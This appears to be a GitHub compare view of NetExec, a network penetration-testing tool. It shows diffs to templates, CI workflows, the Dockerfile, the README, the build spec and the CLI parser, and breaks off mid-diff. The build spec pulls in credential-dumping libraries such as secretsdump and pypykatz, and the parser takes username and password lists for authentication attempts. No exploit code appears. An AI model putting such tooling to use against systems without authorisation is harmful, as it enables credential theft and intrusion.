|
a7141ae6f3 | ||
|
|
0da4cf8455 | ||
|
|
e4a9352379 | ||
|
|
4a47550d94 | ||
|
|
7a86d0f045 | ||
|
|
aa9075e35c | ||
|
|
7db7de4f1e | ||
|
|
dadeff939d | ||
|
|
a3bc425e9f | ||
|
|
c1780a1a26 | ||
|
|
50a5b6b0de | ||
|
|
a4ad6895c1 | ||
|
|
43da2afa58 | ||
|
|
c1589955fd | ||
|
|
5a0f1a5a6a | ||
|
|
0dcfc7399b | ||
|
|
567b2bf7cc | ||
|
|
ed0187391c | ||
|
|
092a14f1fe | ||
|
|
6fa13820dc | ||
|
|
85b2b6e084 | ||
|
|
754ca2d423 | ||
|
|
f17a61f531 | ||
|
|
e1c66357d6 | ||
|
|
c2dfa67c6c | ||
|
|
27313a00b6 | ||
|
|
90cc0e57d7 | ||
|
|
7729139d10 | ||
|
|
41681ee1cb | ||
|
|
bbb9d15e66 | ||
|
|
4ea4b5f961 | ||
|
|
998b8787a6 | ||
|
|
b5f9e131ee | ||
|
|
f396ff0b66 | ||
|
|
1eafa319bc | ||
|
|
c1308e6186 | ||
|
|
e737dd6aca | ||
|
|
555347752a | ||
|
|
f95b9354b7 | ||
|
|
74d7d07b1f | ||
|
|
fbfbcc3baa | ||
|
|
79ecfa8a4d | ||
|
|
4ae6c195f0 | ||
|
|
62b535ea50 | ||
|
|
84aa78898b | ||
|
|
8c5b3617e8 | ||
|
|
9031589f0d | ||
|
|
a877047ba2 | ||
|
|
6f24858dc0 | ||
|
|
1a38a288df | ||
|
|
aef2675cee | ||
|
|
b48f6945ae | ||
|
|
4cd46c7fd9 | ||
|
|
fadce581ef | ||
|
|
1e624d8606 | ||
|
|
c23db63b97 | ||
|
|
6b5eb1a240 | ||
|
|
e9ed46b6e0 | ||
|
|
f05601f645 | ||
|
|
8c39962dba | ||
|
|
ff194d3e0b | ||
|
|
f47ebb3356 | ||
|
|
9aca9c246a | ||
|
|
04a695ff93 | ||
|
|
ac2dfc95e7 | ||
|
|
3b1eac7be5 | ||
|
|
ad1b421422 | ||
|
|
d89709feac | ||
|
|
045f2c291b | ||
|
|
f191f780a3 | ||
|
|
78a270b57b | ||
|
|
ee549ccae7 | ||
|
|
e1ecf90a78 | ||
|
|
4e855f811f | ||
|
|
31b909b97d | ||
|
|
5da577f5c3 | ||
|
|
bb95e0faa4 | ||
|
|
1b4081e54c | ||
|
|
99d4e49ac1 | ||
|
|
d52a651bd4 | ||
|
|
6dbf14b87f | ||
|
|
cea324c97b | ||
|
|
bb2f3ec13a | ||
|
|
2eebb7c513 | ||
|
|
0dbea8e8a3 | ||
|
|
9153779671 | ||
|
|
6477771cfe | ||
|
|
87199f6e5c | ||
|
|
509f6d1373 | ||
|
|
a9181f469d | ||
|
|
e927f33f2b | ||
|
|
6e5929175c | ||
|
|
ea9acdcb40 | ||
|
|
7657f9603a | ||
|
|
0175be7b08 | ||
|
|
9cc44f65e7 | ||
|
|
2744a2c4ed | ||
|
|
b771c28b51 | ||
|
|
7070305e6c | ||
|
|
cafa670113 | ||
|
|
e14be335c3 | ||
|
|
3fd8598389 | ||
|
|
425ad8ea23 | ||
|
|
45a9121bb1 | ||
|
|
e4b7ea64eb | ||
|
|
9bc05e55ee | ||
|
|
0034048da4 | ||
|
|
e7acdc78e1 | ||
|
|
35b4c4c63d | ||
|
|
dfb28184a8 | ||
|
|
4a776651c1 | ||
|
|
1c19cbe836 | ||
|
|
62496a3863 | ||
|
|
4a0f0381a6 | ||
|
|
34ac854a3c | ||
|
|
2de896cb49 | ||
|
|
821f20e114 | ||
|
|
43c1d33904 | ||
|
|
24ad5e63e2 | ||
|
|
2ac0d4d543 | ||
|
|
4ac77486d0 | ||
|
|
2419d2d4d8 | ||
|
|
f9d3caab63 | ||
|
|
0cc6151a0b | ||
|
|
cd9e1adcfd | ||
|
|
a8954f1f32 | ||
|
|
363691aa4f | ||
|
|
675480c5ca | ||
|
|
ee9409a387 | ||
|
|
f9799496ac | ||
|
|
83514bf2a9 | ||
|
|
b9d788b8d4 | ||
|
|
b59f252363 | ||
|
|
db4c2fad2b | ||
|
|
375611cfd5 | ||
|
|
96bff4e3aa | ||
|
|
d82ee41d5b | ||
|
|
af4a28d9b9 | ||
|
|
5810d14038 | ||
|
|
739791e33b | ||
|
|
e982a68b44 | ||
|
|
66da98c318 | ||
|
|
069fb908b0 | ||
|
|
1292f0f8fb | ||
|
|
f8ac2e1ff1 | ||
|
|
1839c0cb4c | ||
|
|
e76d4e98fe | ||
|
|
506486fa62 | ||
|
|
a28c441ae2 | ||
|
|
3db14d4de4 | ||
|
|
6afb8bba0b | ||
|
|
7bb04c92b1 | ||
|
|
80d03ad3ee | ||
|
|
b4612ea38c | ||
|
|
11983af3fb | ||
|
|
41a21ee838 | ||
|
|
c0adbf1eb8 | ||
|
|
41b8fbb715 | ||
|
|
4504cf29d0 | ||
|
|
693da7120b | ||
|
|
413e5cd5d0 | ||
|
|
f18c442a10 | ||
|
|
548b6d0c28 | ||
|
|
7b3145e6ec | ||
|
|
0234219daa | ||
|
|
cb639c8854 | ||
|
|
74dcef77ce | ||
|
|
18a857396c | ||
|
|
176c480beb | ||
|
|
21515206b4 | ||
|
|
b9882167a3 | ||
|
|
6a735c1619 | ||
|
|
703191308a | ||
|
|
be9ee13290 | ||
|
|
f54deff68e | ||
|
|
43da81861f | ||
|
|
398716de24 | ||
|
|
4cb3b417d6 | ||
|
|
a1ca2697e3 | ||
|
|
8ed41498ff | ||
|
|
ab0af5ab4a | ||
|
|
6651fb0698 | ||
|
|
1839f7a5ac | ||
|
|
8a6fb7c67a | ||
|
|
a1c57ee8d2 | ||
|
|
280baadf07 | ||
|
|
766ef1e81e | ||
|
|
5ae4134ab7 | ||
|
|
2575bce0d6 | ||
|
|
3a5c109fed | ||
|
|
5b186f4295 | ||
|
|
e0faaf3dbf | ||
|
|
d071631c1a | ||
|
|
59b6bf8f76 | ||
|
|
7e52f8da69 | ||
|
|
54cad53328 | ||
|
|
e96c301721 | ||
|
|
3c64d27c68 | ||
|
|
71cb5e99ef | ||
|
|
d036fa8c04 | ||
|
|
fbf2546172 | ||
|
|
abb5f1d99a | ||
|
|
d9ce9e9b62 | ||
|
|
4045bb4185 | ||
|
|
9d8eeb80e1 | ||
|
|
f17ea75de3 | ||
|
|
18369b1739 | ||
|
|
3c89bcb19a | ||
|
|
68c827dcf6 | ||
|
|
eb6be54ff1 | ||
|
|
852e7819e5 | ||
|
|
42ce37d231 | ||
|
|
63e8295c46 | ||
|
|
b86f675100 | ||
|
|
ccbeb4e402 | ||
|
|
64e78fd7cd | ||
|
|
d8f0f41d76 | ||
|
|
9f3a77c2ab | ||
|
|
63f2d6943d | ||
|
|
c83895697f | ||
|
|
98236804ab | ||
|
|
f9b61391ca | ||
|
|
5b931d0cfa | ||
|
|
0d5ac4e59e | ||
|
|
45e1f0815f | ||
|
|
21b1cfbb8c | ||
|
|
018ad9dbe7 | ||
|
|
1f83e6393f | ||
|
|
da088d9e60 | ||
|
|
ce31e24111 | ||
|
|
aab22cf4bc | ||
|
|
6e391cad46 | ||
|
|
5f45bfcf37 | ||
|
|
592793c718 | ||
|
|
5983b86b52 | ||
|
|
449f556dc1 | ||
|
|
669a55fd98 | ||
|
|
ead02d812e | ||
|
|
cce5c32eb1 | ||
|
|
b0b4641724 | ||
|
|
8bbab764c5 | ||
|
|
4f5453ee09 | ||
|
|
9d32ea0a2b | ||
|
|
b9d73524ee | ||
|
|
e50f7acbd5 | ||
|
|
ada4905922 | ||
|
|
e13ec2776e | ||
|
|
073938f67a | ||
|
|
2ec51902a3 | ||
|
|
755113d3c7 | ||
|
|
447bded268 | ||
|
|
e7689542f2 | ||
|
|
cf8c1b19ca | ||
|
|
27caff59d5 | ||
|
|
19ea1bc559 | ||
|
|
73b35eb0ea | ||
|
|
d5bb6d9606 | ||
|
|
1e90103b4d | ||
|
|
5ccf0d3553 | ||
|
|
8132bf73d3 | ||
|
|
1105dcdf52 | ||
|
|
bfed3d462b | ||
|
|
39b877a3f1 | ||
|
|
da61939a0d | ||
|
|
3724142717 | ||
|
|
4919fe05fd | ||
|
|
6838793301 | ||
|
|
a579d2296a | ||
|
|
cc251e8b19 | ||
|
|
dcee201380 | ||
|
|
39006b1fed | ||
|
|
ea5426b468 | ||
|
|
8c2155cae5 | ||
|
|
0b5bad9ba0 | ||
|
|
c09304ef6c | ||
|
|
008c490f5b | ||
|
|
9d3bc4d071 | ||
|
|
3eaa1632c9 | ||
|
|
65fc94f8dd | ||
|
|
7b37015b62 | ||
|
|
4c5844820f | ||
|
|
27b52e2da4 | ||
|
|
d3c9d7258a | ||
|
|
fbec1c7c31 | ||
|
|
71391b11de | ||
|
|
f1894b2c6b | ||
|
|
9cf6d983e2 | ||
|
|
fbfef1b4b0 | ||
|
|
80839d850e | ||
|
|
db3e7923fb | ||
|
|
56feb10348 | ||
|
|
b1238fceb7 | ||
|
|
763cf57c18 | ||
|
|
e7d30329ed | ||
|
|
4143073123 | ||
|
|
a636fb45ae | ||
|
|
56795fc713 | ||
|
|
610bad1bae | ||
|
|
0aaad63819 | ||
|
|
406507e8de | ||
|
|
6c4e8ead5e | ||
|
|
5ff488eae5 | ||
|
|
c354978fa1 | ||
|
|
50ed8279e1 | ||
|
|
f55cbf6f23 | ||
|
|
219deaf073 | ||
|
|
dffd862595 | ||
|
|
46574d41f6 | ||
|
|
1c965cb5f1 | ||
|
|
4815249c78 | ||
|
|
ae6b659749 | ||
|
|
169a7dc148 | ||
|
|
3deabf5787 |
No files matched your search
@@ -7,6 +7,10 @@ assignees: ''
|
||||
|
||||
---
|
||||
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**NetExec info**
|
||||
- OS: [e.g. Kali]
|
||||
- Version of nxc: [e.g. v1.5.2]
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
|
||||
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
+11
-20
@@ -1,44 +1,35 @@
|
||||
---
|
||||
name: Pull request
|
||||
about: Update code to fix a bug or add an enhancement/feature
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] Deprecation of feature or functionality
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
@@ -10,28 +10,28 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.11"]
|
||||
python-version: ["3.13"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Native Binary
|
||||
run: |
|
||||
pip install pyinstaller
|
||||
pip install pyinstaller pillow
|
||||
pip install .
|
||||
pyinstaller netexec.spec
|
||||
- name: Upload Windows Binary
|
||||
if: runner.os == 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc.exe
|
||||
path: dist/nxc.exe
|
||||
- name: Upload Nix/OSx Binary
|
||||
if: runner.os != 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-${{ matrix.os }}
|
||||
path: dist/nxc
|
||||
@@ -10,11 +10,11 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Python ZipApp with Shiv
|
||||
@@ -22,12 +22,12 @@ jobs:
|
||||
pip install shiv
|
||||
python build_collector.py
|
||||
- name: Upload nxc ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxc
|
||||
- name: Upload nxcdb ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxcdb
|
||||
@@ -3,22 +3,25 @@ name: Lint Python code with ruff
|
||||
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.11
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
|
||||
@@ -8,20 +8,22 @@ on:
|
||||
jobs:
|
||||
build:
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
@@ -29,11 +31,6 @@ jobs:
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
@@ -48,4 +45,4 @@ jobs:
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
+36
-13
@@ -1,4 +1,32 @@
|
||||
FROM python:3.11-slim
|
||||
FROM python:3.13-slim-bookworm AS builder
|
||||
ENV LANG=C.UTF-8
|
||||
ENV LC_ALL=C.UTF-8
|
||||
ENV PIP_NO_CACHE_DIR=off
|
||||
|
||||
WORKDIR /usr/src/netexec
|
||||
|
||||
RUN apt update && \
|
||||
apt install -y --no-install-recommends \
|
||||
libffi-dev \
|
||||
libxml2-dev \
|
||||
libxslt-dev \
|
||||
libssl-dev \
|
||||
openssl \
|
||||
autoconf \
|
||||
g++ \
|
||||
python3-dev \
|
||||
curl \
|
||||
git \
|
||||
unzip \
|
||||
&& apt clean && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
|
||||
&& pip install .
|
||||
|
||||
FROM python:3.13-slim-bookworm
|
||||
|
||||
ENV LANG=C.UTF-8
|
||||
ENV LC_ALL=C.UTF-8
|
||||
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
|
||||
|
||||
WORKDIR /usr/src/netexec
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
|
||||
RUN apt-get update
|
||||
# Get Rust
|
||||
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
|
||||
# Add .cargo/bin to PATH
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
# Check cargo is visible
|
||||
RUN cargo --help
|
||||
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
|
||||
COPY --from=builder /usr/local/bin /usr/local/bin
|
||||
|
||||
COPY . .
|
||||
RUN pip install .
|
||||
RUN apt update && \
|
||||
apt install -y --no-install-recommends \
|
||||
openssl \
|
||||
&& apt clean && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
ENTRYPOINT [ "nxc" ]
|
||||
ENTRYPOINT ["nxc"]
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2022, byt3bl33d3r
|
||||
All rights reserved.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
@@ -43,6 +43,11 @@ sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
|
||||
## Availability on Unix distributions
|
||||
|
||||
[](https://repology.org/project/netexec/versions)
|
||||
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
@@ -58,3 +63,5 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/NeffIsBack)
|
||||
[](https://github.com/Hackndo)
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
+9
-2
@@ -19,18 +19,22 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certipy',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.examples.regsecrets',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
'impacket.dcerpc.v5.transport',
|
||||
'impacket.dcerpc.v5.lsad',
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.servers.smb',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
'nxc.protocols.smb.smbexec',
|
||||
@@ -41,13 +45,15 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
'pywerview.cli.helpers',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
'pyNfsClient',
|
||||
'masky',
|
||||
'msldap',
|
||||
'msldap.connection',
|
||||
@@ -69,6 +75,7 @@ a = Analysis(
|
||||
'dploot.triage.masterkeys',
|
||||
'dploot.triage.mobaxterm',
|
||||
'dploot.triage.backupkey',
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.lib.target',
|
||||
|
||||
+33
-31
@@ -16,35 +16,38 @@ import importlib.metadata
|
||||
|
||||
def gen_cli_args():
|
||||
setup_debug_logging()
|
||||
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
DISTANCE, COMMIT = COMMIT.split(".")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "ItsAlwaysDNS"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
DISTANCE = ""
|
||||
CODENAME = "Yippie-Ki-Yay"
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group = generic_parser.add_argument_group("Generic Options")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
|
||||
log_level = output_group.add_mutually_exclusive_group()
|
||||
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description=rf"""
|
||||
. .
|
||||
@@ -52,13 +55,13 @@ def gen_cli_args():
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
ॱ ॱ
|
||||
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
˙ \ / ˙
|
||||
˙ ˙
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
|
||||
|
||||
For documentation and usage examples, visit: https://www.netexec.wiki/
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
@@ -69,21 +72,19 @@ def gen_cli_args():
|
||||
parents=[generic_parser, output_parser, dns_parser]
|
||||
)
|
||||
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup = module_parser.add_argument_group("Modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
@@ -94,17 +95,18 @@ def gen_cli_args():
|
||||
